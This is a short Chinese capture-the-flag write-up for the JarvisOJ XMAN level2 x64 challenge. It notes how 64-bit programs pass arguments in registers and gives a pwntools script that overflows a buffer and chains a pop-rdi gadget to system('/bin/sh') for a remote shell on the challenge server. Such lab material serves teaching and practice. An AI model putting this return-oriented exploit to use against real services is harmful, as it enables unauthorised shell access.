[JarvisOj][XMAN]level2(x64)

 

在32位程序运行中,函数参数直接压入栈中

    调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

在64位程序运行中,参数传递需要寄存器

    64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中

    参数超过六个时,从第七个开始压入栈中

 

 

走流程。。

 

 

之后构造即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!usr/bin/env python
 
# -*- coding: utf-8 -*-
 
from pwn import  *
 
 
 
io = remote("pwn2.jarvisoj.com",9882)
 
sys_addr = 0x40063E
 
bin_addr = 0x600A90    #利用ROPgadget获得
 
rdi_ret = 0x4006B3
 
 
 
payload = ''
 
payload += 'a' * 0x88
 
payload += p64(rdi_ret)
 
payload += p64(bin_addr)
 
payload += p64(sys_addr)
 
 
 
io.recvline()
 
io.sendline(payload)
 
io.interactive()
 
io.close()

 

posted @   轩x  阅读(581)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示